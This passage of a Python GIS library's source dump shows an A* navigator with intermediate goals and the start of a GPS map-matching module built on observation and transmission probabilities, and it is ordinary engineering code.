\"connectivity\": [goal for goal in goal_collection],\n \"total_to_goal\": distance,\n \"my_intermediate_goal\": my_intermediate_goal,\n }\n\n for i, goal in enumerate(goal_collection):\n collection = goal_collection[i + 1 :]\n if len(collection) == 0:\n distance = 0\n my_intermediate_goal = None\n\n else:\n my_intermediate_goal = collection[0]\n distance = self.diagonal(goal, collection[0])\n for j in range(len(collection) - 1):\n distance += self.diagonal(collection[j], collection[j + 1])\n\n connectivity_meta[goal] = {\n \"connectivity\": [goal for goal in collection],\n \"total_to_goal\": distance,\n \"my_intermediate_goal\": my_intermediate_goal,\n }\n return connectivity_meta\n\n @property\n def navigate_space(self):\n return self._navigate_space\n\n @navigate_space.setter\n def navigate_space(self, value):\n self._navigate_space = value\n\n def pre_compute_goal_heuristics(self):\n \"\"\"\n\n :return:\n \"\"\"\n raise NotImplementedError\n\n @staticmethod\n def _search_space(\n goal: GoalNode, start: StartNode, potential: Union[GoalNode, StartNode, Node]\n ):\n \"\"\"\n\n :param goal:\n :param start:\n :param potential:\n :return:\n \"\"\"\n angle = angle_between_vector(\n vector((start.x, start.y), (potential.x, potential.y)),\n vector((start.x, start.y), (goal.x, goal.y)),\n )\n\n return np.degrees(angle)\n\n @staticmethod\n def diagonal(goal: GoalNode, node: Node, d1=1, d2=math.sqrt(2)) -> float:\n \"\"\"\n\n :param goal:\n :param node:\n :param d1:\n :param d2:\n :return:\n \"\"\"\n # https://stackoverflow.com/questions/46974075/a-star-algorithm-distance-heuristics\n # http://theory.stanford.edu/~amitp/GameProgramming/Heuristics.html\n # https://www.growingwiththeweb.com/2012/06/a-pathfinding-algorithm.html\n\n return diagonal_distance((node.x, node.y), (goal.x, goal.y), d1, d2)\n\n @staticmethod\n def euclidean(goal: GoalNode, node: Node) -> float:\n \"\"\"\n\n :param goal:\n :param node:\n :return:\n \"\"\"\n return euclidean_distance((node.x, node.y), (goal.x, goal.y))\n\n @staticmethod\n def manhattan(goal: GoalNode, node: Node) -> float:\n \"\"\"\n\n :param goal:\n :param node:\n :return:\n \"\"\"\n return manhattan_distance((node.x, node.y), (goal.x, goal.y))\n\n def _path(\n self,\n grid: Union[PixelGrid, Grid],\n trace: List[TracePoint],\n search_space_threshold: float,\n filter_trace: bool = True,\n area_simplify: float = 0.0,\n epsilon: float = 1,\n ) -> list:\n \"\"\"\n\n The first point of the trace will be assigned as start and end point as the final goal\n and all the points in between will be assigned as intermediate goal\n\n :param area_simplify: area in meters, by which the new trace will be simplified i.e use to reduce the number of\n points\n :param grid:\n :param filter_trace: bool, if the trace passed over the obstacle pixel, set this to true\n this will remove such points which pass over obstacle zone\n :param trace:\n :param search_space_threshold:\n :param epsilon: controls, how much to weigh each goal node\n :return:\n \"\"\"\n\n raise NotImplementedError\n\n def path_finder_from_traces(\n self,\n grid: Union[PixelGrid, Grid],\n traces: Traces,\n search_space_threshold: float,\n filter_trace: bool = True,\n area_simplify: float = 0,\n epsilon: float = 1,\n ):\n assert all(\n v is not None\n for v in [grid, traces, search_space_threshold, filter_trace, area_simplify]\n ), (\n \"Expected ['grid', 'trace', 'search_space_threshold', 'filter_trace', 'area_simplify'']\"\n \"to be not NONE\"\n )\n\n assert isinstance(grid, Grid), (\n \"Expected 'grid' to be instance of 'Grid'\" \"got %s\",\n (type(grid),),\n )\n\n assert isinstance(traces, Traces), (\n \"Expected 'traces' to be instance of 'Traces'\" \"got %s\",\n (type(traces),),\n )\n\n assert search_space_threshold > 0, (\n \"Expected 'search_space_threshold' to be in range [1, 360]\" \"got %s\",\n (search_space_threshold,),\n )\n\n assert type(filter_trace) is bool, (\n \"Expected 'filter_trace' to be of type 'bool'\" \"got %s\",\n (filter_trace,),\n )\n\n assert area_simplify >= 0, (\n \"Expected 'area_simplify' to be positive\" \"got %s\",\n (area_simplify,),\n )\n\n assert epsilon >= 0, (\n \"Expected 'epsilon' greater than equal to '1'\" \"got %s\",\n (epsilon,),\n )\n\n for _, trace in traces.items():\n yield self._path(\n grid,\n trace,\n search_space_threshold,\n filter_trace,\n area_simplify,\n epsilon,\n )\n\n def path_finder_from_trace(\n self,\n grid: Union[PixelGrid, Grid],\n trace: List[TracePoint],\n search_space_threshold: float,\n filter_trace: bool = True,\n area_simplify: float = 0,\n epsilon: float = 1,\n ):\n assert all(\n v is not None\n for v in [grid, trace, search_space_threshold, filter_trace, area_simplify]\n ), (\n \"Expected ['grid', 'trace', 'search_space_threshold', 'filter_trace', 'area_simplify'']\"\n \"to be not NONE\"\n )\n\n assert isinstance(grid, Grid), (\n \"Expected 'grid' to be instance of 'Grid'\" \"got %s\",\n (type(grid),),\n )\n\n assert all(\n [isinstance(trace_point, TracePoint) for trace_point in trace]\n ), \"Expected all points to be TracePoint, got types %s.\" % (\n \", \".join([str(type(v)) for v in trace])\n )\n\n assert search_space_threshold > 0, (\n \"Expected 'search_space_threshold' to be in range [1, 360]\" \"got %s\",\n (search_space_threshold,),\n )\n\n assert type(filter_trace) is bool, (\n \"Expected 'filter_trace' to be of type 'bool'\" \"got %s\",\n (filter_trace,),\n )\n\n assert area_simplify >= 0, (\n \"Expected 'area_simplify' to be positive\" \"got %s\",\n (area_simplify,),\n )\n\n assert epsilon >= 0, (\n \"Expected 'epsilon' greater than equal to '1'\" \"got %s\",\n (epsilon,),\n )\n\n return self._path(\n grid, trace, search_space_threshold, filter_trace, area_simplify, epsilon\n )\n\n def calc_heuristic(self, goal: GoalNode, potential_node: Node, **kwargs) -> float:\n \"\"\"\n\n :param goal:\n :param potential_node:\n :param kwargs:\n :return:\n \"\"\"\n raise NotImplementedError\n\n def obstacle_check(self, grid, node: Node) -> bool:\n raise NotImplementedError\n\n def final_path(\n self, grid: Union[PixelGrid, Grid], goal: GoalNode, closed_set: dict\n ) -> Tuple[List, List]:\n \"\"\"\n\n :param grid:\n :param goal:\n :param closed_set:\n :return:\n \"\"\"\n raise NotImplementedError\n\n @staticmethod\n def _generate_nodes(\n grid: Union[PixelGrid, Grid],\n start: TracePoint,\n goal: TracePoint,\n intermediate_goals: list,\n ) -> Tuple[StartNode, GoalNode, list]:\n \"\"\"\n Generate nodes fro navigator to traverse\n\n :param start:\n :param goal:\n :param intermediate_goals:\n :return:\n \"\"\"\n\n assert not grid.collision_check(\n *grid.pixel_pos(start.x, start.y)\n ) and not grid.collision_check(*grid.pixel_pos(start.x, start.y)), (\n \"Expected Start Node and Goal Node to located outside the Obstacle Zone\"\n \"Apply 'filter_trace' to eliminate trace point which lie on obstacle\"\n )\n start_node = StartNode(\n *grid.pixel_pos(start.x, start.y),\n cost=0.0,\n parent_index=-1,\n )\n\n goal_node = GoalNode(\n *grid.pixel_pos(goal.x, goal.y),\n cost=0.0,\n parent_index=-1,\n )\n\n goals = list()\n for index, trace_point in enumerate(intermediate_goals):\n\n goal = GoalNode(\n *grid.pixel_pos(trace_point.x, trace_point.y),\n cost=0.0,\n parent_index=-1,\n is_intermediate=True,\n )\n\n if not grid.collision_check(goal.x, goal.y):\n goals.append(goal)\n\n goals.append(goal_node)\n return start_node, goal_node, goals\n\n def _make_data(\n self, grid: Union[PixelGrid, Grid], trace: List[TracePoint]\n ) -> Tuple[StartNode, GoalNode, list]:\n assert len(trace) >= 2, (\n \"Expected at least two trace points\" \"got %s\",\n (len(trace),),\n )\n assert all(\n [isinstance(trace_point, TracePoint) for trace_point in trace]\n ), \"Expected all points to be TracePoint, got types %s.\" % (\n \", \".join([str(type(v)) for v in trace])\n )\n return self._generate_nodes(grid, trace[0], trace[-1], trace[1:-1])\n\n\nclass AStar(Navigator):\n def __init__(self):\n super().__init__()\n\n def pre_compute_goal_heuristics(self):\n pass\n\n def _path(\n self,\n grid: Union[PixelGrid, Grid],\n trace: List[TracePoint],\n search_space_threshold=30,\n filter_trace: bool = True,\n area_simplify: float = 0.0,\n epsilon: float = 1,\n ) -> list:\n \"\"\"\n\n The first point of the trace will be assigned as start and end point as the final goal\n and all the points in between will be assigned as intermediate goal\n\n :param area_simplify: area in meters, by which the new trace will be simplified i.e use to reduce the number of\n points\n :param grid:\n :param filter_trace: bool, if the trace passed over the obstacle pixel, set this to true\n this will remove such points which pass over obstacle zone\n :param trace:\n :param search_space_threshold:\n :param epsilon: controls, how much to weigh each goal node\n :return:\n \"\"\"\n\n if filter_trace:\n trace = grid.filter_trace(trace)\n\n start, goal, goal_collection = self._make_data(grid, trace)\n\n connectivity_meta = self._node_connectivity(start, goal_collection)\n\n open_set, closed_set = dict(), dict()\n open_set[grid.grid_index(start.x, start.y)] = start\n\n n_goal = goal_collection[0]\n start.parent_node = start\n parent_node = start\n\n previous_goal = n_goal\n\n goal_completed_count = 0\n\n while 1:\n refresh_print(\n f\"Navigator Progress: Finding Path for GOAL {n_goal.x, n_goal.y},\"\n f\" GOAL COUNT - {goal_completed_count}/{len(goal_collection) + goal_completed_count}\"\n )\n\n if len(open_set) == 0:\n print(\"Couldn't Reach to Goal\")\n break\n\n grid_id = min(\n open_set,\n key=lambda o: open_set[o].cost\n + self.calc_heuristic(\n n_goal,\n open_set[o],\n connectivity_meta=connectivity_meta,\n epsilon=epsilon,\n ),\n )\n\n current = open_set[grid_id]\n\n if current.parent_index != -1:\n # VEC(start -> potential).dot(VEC(start -> current_goal)) lies in between\n # VEC(start -> previous_goal).dot(VEC(start -> current_goal))\n # VEC(start -> previous_goal).dot(VEC(start -> current_goal)) is nothing but self.navigate_space\n\n if (\n self._search_space(previous_goal, start, current)\n > self.navigate_space\n or self._search_space(n_goal, start, current) > self.navigate_space\n ):\n del open_set[grid_id]\n continue\n\n if grid.is_show_animation():\n grid.animate(current.x, current.y)\n\n if current.x == n_goal.x and current.y == n_goal.y:\n if not n_goal.is_intermediate:\n # FINAL GOAL FOUND\n n_goal.parent_index = current.parent_index\n n_goal.cost = current.cost\n\n # REMOVE THE GOAL FROM COLLECTION AS IT HAS BEEN FOUND\n del goal_collection[0]\n\n refresh_print(\n f\"Navigator Progress: Found GOAL {n_goal.x, n_goal.y},\"\n f\" GOAL COUNT - {goal_completed_count}/{len(goal_collection) + goal_completed_count}\"\n )\n break\n else:\n # INTERMEDIATE GOAL FOUND\n intermediate_goal = current\n\n previous_goal = n_goal\n parent_node = n_goal\n\n # REMOVE THE GOAL FROM COLLECTION AS IT HAS BEEN FOUND\n del goal_collection[0]\n\n # GET THE NEW GOAL\n n_goal = goal_collection[0]\n\n # CALCULATE THE SEARCH SPACE FOR NEW GOAL\n self.navigate_space = self._search_space(\n n_goal, start, intermediate_goal\n )\n\n # [USE CASE SPECIFIC]\n # IF NAVIGATE SPACE IS SMALL THAN THRESHOLD THEN INCREASE\n # REASON FOR THIS CHECK IS, SOME NODES ARE SUCCESSIVE WITH A HUGE OBSTACLE IN BETWEEN\n # AND TO AVOID THE OBSTACLE SEARCH SPACE HAS TO BE EXPANDED AS THE OBSTACLE IS LARGER THAN THE\n # NAVIGATE SPACE.\n\n if self.navigate_space < search_space_threshold:\n self.navigate_space = (\n self.navigate_space + search_space_threshold\n )\n\n goal_completed_count += 1\n refresh_print(\n f\"Navigator Progress: Found GOAL {n_goal.x, n_goal.y},\"\n f\" GOAL COUNT - {goal_completed_count}/{len(goal_collection) + goal_completed_count}\"\n )\n # REMOVE VISITED FROM OPEN SET\n del open_set[grid_id]\n\n # MARK DONE\n closed_set[grid_id] = current\n\n # EXPAND IN 8 DIRECTION, DIAGONAL WEIGHT IS math.sqrt(2) AND 1 OTHERWISE\n for i, _ in enumerate(self._direction):\n node = Node(\n current.x + self._direction[i][0],\n current.y + self._direction[i][1],\n current.cost + self._direction[i][2],\n grid_id,\n )\n new_node_grid_id = grid.grid_index(node.x, node.y)\n\n # SKIP NODE WHEN OBSTACLE ENCOUNTERED\n if not self.obstacle_check(grid, node):\n continue\n\n # SKIP IF MARKED VISITED\n if new_node_grid_id in closed_set:\n continue\n\n # NOT YET EXPLORED\n if new_node_grid_id not in open_set:\n # PARENT ID IS USED TO TRACK, DURING WHICH GOAL SEARCH THE NODE WAS CONSIDERED\n if node.parent_node is None:\n node.parent_node = parent_node\n\n # NEW NODE\n open_set[new_node_grid_id] = node\n else:\n if open_set[new_node_grid_id].cost > node.cost:\n # PARENT ID IS USED TO TRACK, DURING WHICH GOAL SEARCH THE NODE WAS CONSIDERED\n if node.parent_node is None:\n node.parent_node = parent_node\n\n # BEST PATH FOUND\n open_set[new_node_grid_id] = node\n\n return (\n line_simplify(\n grid.spatial_path_from_x_y(*self.final_path(grid, n_goal, closed_set)),\n area_simplify,\n )\n if area_simplify > 0\n else grid.spatial_path_from_x_y(*self.final_path(grid, n_goal, closed_set))\n )\n\n def calc_heuristic(self, goal: GoalNode, potential_node: Node, **kwargs) -> float:\n \"\"\"\n\n :param goal:\n :param potential_node:\n :param kwargs:\n :return:\n \"\"\"\n\n connectivity_meta = kwargs[\"connectivity_meta\"]\n epsilon = kwargs[\"epsilon\"]\n\n connectivity_nodes = list(connectivity_meta.keys())\n\n # https://stackoverflow.com/questions/44274729/a-search-advantages-of-dynamic-weighting\n # http://theory.stanford.edu/~amitp/GameProgramming/Variations.html#dynamic-weighting\n # INSTEAD OF DEPTH THE DYNAMIC WEIGHING IS DONE ON THE NUMBER OF INTERMEDIATE GOALS PASSED\n # AS THE ALGORITHM STARTS TO REACH TO FINAL GOAL THE WEIGHT STARTS TO REDUCE\n # THE EARLIER GOAL NODES ARE PENALIZED, THAN THE ONE WHICH ARE CLOSE TO THE FINAL GOAL NODE\n weight = (\n 1\n + epsilon\n - (epsilon * connectivity_nodes.index(potential_node.parent_node))\n / len(connectivity_nodes)\n )\n\n # LOOK FOR THE INTERMEDIATE GOAL OF THE CONSIDERED NODE AND COMPUTE COST ACCORDINGLY\n # [GET MY ACTUAL GOAL]\n # THEN - COMPUTE COST(MY_ACTUAL_GOAL, POTENTIAL_NODE) + COST FROM (MY_ACTUAL_GOAL, TO FINAL GOAL)\n my_cost_from_intermediate_to_final_goal = 0\n my_actual_goal = connectivity_meta[potential_node.parent_node][\n \"my_intermediate_goal\"\n ]\n\n if my_actual_goal.is_intermediate:\n my_cost_from_intermediate_to_final_goal = connectivity_meta[my_actual_goal][\n \"total_to_goal\"\n ]\n\n cost_from_node_to_actual_goal = self.diagonal(my_actual_goal, potential_node)\n cost = cost_from_node_to_actual_goal + my_cost_from_intermediate_to_final_goal\n\n return weight * cost\n\n def obstacle_check(self, grid, node: Node) -> bool:\n \"\"\"\n\n :param grid:\n :param node:\n :return:\n \"\"\"\n px = node.x\n py = node.y\n\n if px < grid.min_x:\n return False\n elif py < grid.min_y:\n return False\n elif px >= grid.max_x:\n return False\n elif py >= grid.max_y:\n return False\n # collision check\n if grid.map[node.x][node.y] == 255:\n return False\n return True\n\n def final_path(self, grid, goal: GoalNode, closed_set: dict) -> Tuple[List, List]:\n \"\"\"\n\n :param grid:\n :param goal:\n :param closed_set:\n :return:\n \"\"\"\n rx, ry = [goal.x], [goal.y]\n parent_index = goal.parent_index\n while parent_index != -1:\n n = closed_set[parent_index]\n\n rx.append(n.x)\n ry.append(n.y)\n\n parent_index = n.parent_index\n return rx, ry\n", "id": "4640347", "language": "Python", "matching_score": 3.2256617546081543, "max_stars_count": 12, "path": "kaizen_mapping/map/navigator.py" }, { "content": "import math\nimport operator\nfrom collections import defaultdict, OrderedDict, namedtuple\nfrom dataclasses import dataclass\nfrom types import SimpleNamespace\nfrom typing import Any, Tuple, Union, List\n\nimport networkx as nx\nfrom shapely.geometry import Point, mapping, shape, LineString, MultiLineString\n\nfrom scipy import spatial\nfrom scipy import stats\n\nfrom kaizen_mapping.map import refresh_print\nfrom kaizen_mapping.map.road import RoadNetwork, road_network_from_path\nfrom kaizen_mapping.map.trace import Traces, TracePoint\nfrom kaizen_mapping.utils.gis import (\n line_referencing,\n line_referencing_series_of_coordinates,\n)\n\n\n@dataclass\nclass Candidate:\n candidate_id: Any\n x: float\n y: float\n distance: float\n road: namedtuple\n trace: Any\n\n\nclass CandidatesPerTracePoint(list):\n \"\"\"\n COLLECT THE POTENTIAL CANDIDATE FOUND FOR EVERY TRACE POINT\n \"\"\"\n\n def __init__(self):\n super().__init__()\n\n def add(\n self,\n x,\n y,\n candidate_id: str,\n distance: float,\n road_information: namedtuple,\n trace_information: Any,\n ):\n \"\"\"\n EVERY FOUND CANDIDATE SHOULD CONTAIN ITS POSITION, UNIQUE ID, CANDIDATES PERPENDICULAR DISTANCE FROM THE\n NEAREST ROAD, INFORMATION ABOUT THE ROAD ELEMENT TO WHICH IT IS ASSOCIATED AND INFORMATION OF THE\n TRACE POINT IT BELONGS TO\n\n :param x:\n :param y:\n :param candidate_id: unique id\n :param distance: line referenced distance to the road\n :param road_information: information of the road element on which the the candidate is projected\n :param trace_information: information of the trace point for which the candidate was obtained\n :return:\n \"\"\"\n assert all(\n v is not None for v in [x, y, distance, road_information, trace_information]\n ), \"Expected ['x', 'y', 'candidate_id', 'distance', 'road_information', 'trace_information'] to be not None\"\n\n assert type(distance) is float, (\n \"Expected type to be 'float',\" \"got %s\",\n (type(distance),),\n )\n\n assert hasattr(\n road_information, \"weight\"\n ), \"Expected road information to have ['weight']\"\n\n assert hasattr(road_information.property, \"u\") and hasattr(\n road_information.property, \"v\"\n ), (\"Expected road to have start node 'u' and end node 'v'\" \"for every edge\")\n\n if isinstance(trace_information, dict):\n trace_information = SimpleNamespace(**trace_information)\n\n self.append(\n Candidate(\n candidate_id=candidate_id,\n x=x,\n y=y,\n distance=distance,\n road=road_information,\n trace=trace_information,\n )\n )\n\n def coordinates(self):\n return [(candidate.x, candidate.y) for candidate in self]\n\n\nclass Candidates(defaultdict):\n def __init__(self):\n super().__init__(list)\n\n def add(self, idx, candidate_per_trace_point: CandidatesPerTracePoint):\n self[idx] = candidate_per_trace_point\n\n def coordinates(self):\n return [candidate.coordinates() for _, candidate in self.items()]\n\n\nclass Match:\n def __init__(self, road: RoadNetwork, observation_error=30):\n self.road_network = road\n self.observation_error = observation_error\n\n def _get_candidates(self, trace_point: TracePoint) -> CandidatesPerTracePoint:\n \"\"\"\n\n :param trace_point: Observed data point\n :return:\n \"\"\"\n tr_point = Point(trace_point.x, trace_point.y)\n\n candidate_roads = self.road_network.intersection(\n tr_point.buffer(self.observation_error)\n )\n candidates_per_trace_points = CandidatesPerTracePoint()\n for idx, (fid, candidate) in enumerate(candidate_roads.items()):\n\n # [REFERENCE IN PAPER - Map-Matching for Low-Sampling-Rate GPS Trajectories]\n # DEFINITION 6 (LINE SEGMENT PROJECTION): THE LINE SEGMENT PROJECTION OF A POINT 𝑝 TO A ROAD SEGMENT\n # 𝑒 IS THE POINT 𝑐 ON 𝑒 SUCH THAT 𝑐 = ARG 𝑚𝑖𝑛∀ 𝑐𝑖∈𝑒 𝑑𝑖𝑠𝑡(𝑐𝑖, 𝑝) , WHERE 𝑑𝑖𝑠𝑡(𝑐𝑖, 𝑝) RETURNS THE DISTANCE\n # BETWEEN P AND ANY POINT CI ON 𝑒.\n\n # PROJECT THE POINT ON THE ALL THE ROAD SEGMENT THAT LIE IN THE BUFFER ZONE OF - 30 AND GET THE\n # POINT ON THE LINE WITH SHORTEST DISTANCE TO THE TRACE_REC\n\n # https://stackoverflow.com/questions/24415806/coordinates-of-the-closest-points-of-two-geometries-in-shapely\n fraction, project_point = line_referencing(candidate, tr_point)\n\n # https://gist.github.com/href/1319371\n # https://stackoverflow.com/questions/35282222/in-python-how-do-i-cast-a-class-object-to-a-dict/35282286\n candidates_per_trace_points.add(\n candidate_id=str(trace_point.trace_point_id) + \"_\" + str(idx),\n x=project_point.x,\n y=project_point.y,\n distance=fraction,\n road_information=self.road_network.entry(fid),\n trace_information=trace_point,\n )\n\n return candidates_per_trace_points\n\n def _road_ids_along_shortest_path(self, shortest_path: list) -> list:\n \"\"\"\n GET THE ROAD IDS OF THE SHORTEST TRAVERSED PATH\n\n :param shortest_path:\n :return:\n \"\"\"\n road_ids = list()\n for previous, current in zip(shortest_path, shortest_path[1:]):\n fid = self.road_network.get_fid(previous, current)\n if fid not in road_ids:\n road_ids.append(fid)\n return road_ids\n\n def _path_information(\n self, previous_layer_candidate: Candidate, current_layer_candidate: Candidate\n ) -> float:\n \"\"\"\n\n :param previous_layer_candidate:\n :param current_layer_candidate:\n :return:\n \"\"\"\n previous_candidate_road_projected_point = (\n previous_layer_candidate.x,\n previous_layer_candidate.y,\n )\n current_candidate_road_projected_point = (\n current_layer_candidate.x,\n current_layer_candidate.y,\n )\n\n if previous_layer_candidate.road.fid == current_layer_candidate.road.fid:\n if previous_layer_candidate.distance >= current_layer_candidate.distance:\n # IT INDICATES THAT THE VEHICLE LEAVES EDGE E THEN RE-ENTERING THE SAME EDGE E\n shortest_distance = self.road_network.maximum_distance\n\n elif previous_layer_candidate.distance < current_layer_candidate.distance:\n # IT REPRESENTS THAT THE VEHICLE STAYS ON EDGE E WHEN MOVING FROM TRACE_POINT_1 TO TRACE_POINT_2\n\n shortest_distance = Point(\n previous_candidate_road_projected_point\n ).distance(Point(current_candidate_road_projected_point))\n else:\n raise Exception(\"Something went horribly Wrong\")\n\n else:\n # CANDIDATES ARE ON DIFFERENT EDGES\n\n graph_distance = nx.astar_path_length(\n self.road_network.graph,\n previous_layer_candidate.road.property.v,\n current_layer_candidate.road.property.u,\n )\n\n # https://people.kth.se/~cyang/bib/fmm.pdf [Computation]\n shortest_distance = (\n (\n previous_layer_candidate.road.weight\n - previous_layer_candidate.distance\n )\n + graph_distance\n + current_layer_candidate.distance\n )\n\n return shortest_distance\n\n def _observation_probability(\n self, x: float, y: float, trace_point: TracePoint\n ) -> float:\n \"\"\"\n\n :param x:\n :param y:\n :param trace_point:\n :return:\n \"\"\"\n\n # [REFERENCE IN PAPER - Map-Matching for Low-Sampling-Rate GPS Trajectories]\n # DEFINITION 7 (OBSERVATION PROBABILITY): THE OBSERVATION PROBABILITY IS DEFINED AS THE LIKELIHOOD\n # THAT A GPS SAMPLING POINT 𝑝𝑖 MATCHES A CANDIDATE POINT COMPUTED BASED ON THE DISTANCE BETWEEN THE TWO\n # POINTS 𝑑𝑖𝑠𝑡(𝑐𝑖, 𝑝𝑖)\n # WE USE A ZERO-MEAN NORMAL DISTRIBUTION WITH A STANDARD DEVIATION OF 20 METERS BASED ON EMPIRICAL EVALUATION.\n\n # COMPUTE THE EUCLIDEAN DISTANCE BETWEEN THE CANDIDATE AND TRACE_REC\n return stats.norm.pdf(\n spatial.distance.euclidean([trace_point.x, trace_point.y], [x, y]),\n loc=0,\n scale=self.observation_error,\n )\n\n def _transmission_probability(\n self, previous_layer_candidate: Candidate, current_layer_candidate: Candidate\n ) -> float:\n \"\"\"\n [REFERENCE IN PAPER - Map-Matching for Low-Sampling-Rate GPS Trajectories]\n SECTION 5.2 - SPATIAL ANALYSIS\n 𝑑𝑖−1→𝑖 = 𝑑𝑖𝑠𝑡(𝑝𝑖, 𝑝𝑖−1) IS THE EUCLIDEAN DISTANCE BETWEEN 𝑝𝑖 AND 𝑝𝑖−1 , AND 𝑤 𝑖−1,𝑡 →(𝑖,𝑠)\n IS THE LENGTH OF SHORTEST PATH FROM 𝑐𝑖−1 TO 𝑐𝑖\n\n :param previous_layer_candidate:\n :param current_layer_candidate:\n :return:\n \"\"\"\n shortest_distance = self._path_information(\n previous_layer_candidate, current_layer_candidate\n )\n\n euclidean_distance = spatial.distance.euclidean(\n [\n previous_layer_candidate.trace.x,\n previous_layer_candidate.trace.y,\n ],\n [\n current_layer_candidate.trace.x,\n current_layer_candidate.trace.y,\n ],\n )\n\n return euclidean_distance / shortest_distance\n\n def _construct_graph(self, candidates: Candidates) -> nx.DiGraph:\n \"\"\"\n CANDIDATE POINTS FOR EVERY TRACE_REC FORM A CONNECTION WITH ITS SUBSEQUENT CANDIDATE POINTS\n CONSIDER A TRACE HAS TWO TRACE_REC [1, 2]\n TRACE_REC 1 HAS - 2 AND CANDIDATE POINTS TRACE_REC 2 HAS - 3 CANDIDATE POINTS\n [GENERATED FROM get_candidates FUNCTION CALL]\n GRAPH CONSTRUCTED -\n\n [TRACE RECORD 1]\n TRACE_REC_1_CANDIDATE_POINT_1 ---|--t1--|---> going to [t2_c1] --|\n |--t2--|---> going to [t2_c2] --|\n |--t3--|---> going to [t2_c3] --| [TRACE RECORD 2]\n | _________________________________\n t{} = transition_probability |--> | TRACE_REC_2_CANDIDATE_POINT_1 |\n | TRACE_REC_2_CANDIDATE_POINT_2 |\n |--> | TRACE_REC_2_CANDIDATE_POINT_3 |\n | ----------------------------------\n TRACE_REC_1_CANDIDATE_POINT_2 ---|--t4--|---> going to [t2_c1] --|\n |--t5--|---> going to [t2_c2] --|\n |--t6--|---> going to [t2_c3] --|\n\n :param candidates: candidates belonging to each trace_rec_uuid\n :return:\n \"\"\"\n\n graph = nx.DiGraph()\n\n previous_layer_collection = dict()\n\n for _, candidates_per_trace_point in candidates.items():\n # GET CLOSET CANDIDATE POINTS FOR EVERY TRACE_POINT IN A SINGLE TRACE\n\n current_layer_collection = dict()\n\n for current_layer_candidate in candidates_per_trace_point:\n current_node_id = current_layer_candidate.candidate_id\n current_layer_collection[current_node_id] = current_layer_candidate\n\n graph.add_node(\n current_node_id,\n observation_probability=self._observation_probability(\n current_layer_candidate.x,\n current_layer_candidate.y,\n current_layer_candidate.trace,\n ),\n )\n if len(previous_layer_collection) == 0:\n continue\n else:\n\n for (\n previous_node_id,\n previous_layer_candidate,\n ) in previous_layer_collection.items():\n graph.add_edge(\n previous_node_id,\n current_node_id,\n transmission_probability=self._transmission_probability(\n previous_layer_candidate, current_layer_candidate\n ),\n )\n\n previous_layer_collection = current_layer_collection\n return graph\n\n @staticmethod\n def _find_matched_sequence(\n graph: nx.DiGraph, candidates: Candidates\n ) -> List[Candidate]:\n \"\"\"\n FIND THE MATCHED SEQUENCE FROM GIVEN THE TRANSMISSION AND OBSERVATION PROBABILITIES\n\n :param graph:\n :param candidates:\n :return:\n \"\"\"\n # TODO LOTS OF FOR LOOP HERE, SEE IF THAT CAN BE OPTIMIZED\n\n highest_score_computed = dict()\n parent_of_the_current_candidate = dict()\n to_explore_uuid = list(candidates.keys())\n previous_uuid = None\n\n # STORE THE VALUES OF ALL THE CANDIDATES OF THE FIRST TRACE POINT\n for current_uuid in to_explore_uuid[0:1]:\n for idx, candidate in enumerate(candidates[current_uuid]):\n max_node_id = candidate.candidate_id\n highest_score_computed[max_node_id] = graph.nodes[max_node_id][\n \"observation_probability\"\n ]\n previous_uuid = current_uuid\n\n # LOOP OVER THE REMAINING TRACE POINTS [2, N]\n for current_uuid in to_explore_uuid[1:]:\n my_candidates = candidates[current_uuid]\n\n # LOOP OVER EACH CANDIDATE OF THE TRACE POINT\n for candidate in my_candidates:\n maximum = -math.inf\n current_node_id = candidate.candidate_id\n\n # LOOP OVER THE CANDIDATES OF THE PREDECESSOR TRACE POINT\n for previous_candidates in candidates[previous_uuid]:\n # alt = highest_score_computed[previous_candidate] +\n # transmission[previous_candidate, current_candidate] * observation[current_candidate]\n\n previous_node_id = previous_candidates.candidate_id\n alt = (\n graph[previous_node_id][current_node_id][\n \"transmission_probability\"\n ]\n * graph.nodes[current_node_id][\"observation_probability\"]\n + highest_score_computed[previous_node_id]\n )\n if alt > maximum:\n maximum = alt\n parent_of_the_current_candidate[\n current_node_id\n ] = previous_node_id\n highest_score_computed[current_node_id] = maximum\n previous_uuid = current_uuid\n\n # https://stackoverflow.com/questions/268272/getting-key-with-maximum-value-in-dictionary\n max_node_id = max(highest_score_computed.items(), key=operator.itemgetter(1))[0]\n\n r_list = list()\n for _ in range(len(to_explore_uuid[1:])):\n r_list.append(max_node_id)\n max_node_id = parent_of_the_current_candidate[max_node_id]\n\n r_list.append(max_node_id)\n r_list.reverse()\n\n matched_sequence = [\n candidates[int(candidate_id.split(\"_\")[0])][\n int(candidate_id.split(\"_\")[-1])\n ]\n for candidate_id in r_list\n ]\n\n return matched_sequence\n\n def _until_match(self, candidates: Candidates) -> List[Candidate]:\n \"\"\"\n CANDIDATES CONTAINS COLLECTION OF CANDIDATES FOR EACH TRACE REC PRESENT IN THE TRACE\n CANDIDATES = {TRACE_REC_UUID_1: [CANDIDATES FOR TRACE_REC_UUID_1],\n TRACE_REC_UUID_2: [CANDIDATES FOR TRACE_REC_UUID], ...., TRACE_REC_UUID_N: [CANDIDATES FOR TRACE_REC_UUID]} ,\n ONE TRACE_REC_UUID CAN HAVE MORE THAN ONE CANDIDATES, EVERY TRACE_REC_UUID_{} BELONG TO SAME 'TRACE_ID'\n\n :param candidates: candidates belonging to each trace_rec_uuid\n :return:\n \"\"\"\n graph = self._construct_graph(\n candidates=candidates,\n )\n matched_sequence = self._find_matched_sequence(graph, candidates)\n return matched_sequence\n\n def _get_connected_road_geometry(\n self, matched_sequence: List[Candidate]\n ) -> Tuple[List[LineString], Union[defaultdict, OrderedDict]]:\n\n # TODO IMPROVE FInd CONNECTED GEOMETRY ALGORITHM\n connected_shape = list()\n connected_info = OrderedDict()\n visited = list()\n\n # TODO ALTERNATIVES TO FOR LOOP\n for previous, current in zip(matched_sequence, matched_sequence[1:]):\n road_ids = self._road_ids_along_shortest_path(\n nx.astar_path(\n self.road_network.graph,\n previous.road.property.u,\n current.road.property.v,\n )\n )\n for road in road_ids:\n if int(road) not in visited:\n connected_shape.append(shape(self.road_network.geometry(int(road))))\n connected_info[int(road)] = self.road_network.entry(int(road))\n visited.append(int(road))\n\n return connected_shape, connected_info\n\n def _match(\n self, trace_id, trace: List[TracePoint]\n ) -> Tuple[List[LineString], Union[defaultdict, OrderedDict], List[Point]]:\n candidates = Candidates()\n\n for iterator, trace_point in enumerate(trace):\n refresh_print(\n f\"Map Matcher Progress: TraceID {trace_id}, Traces - {iterator+1}/{len(trace)}\"\n )\n # [REFERENCE IN 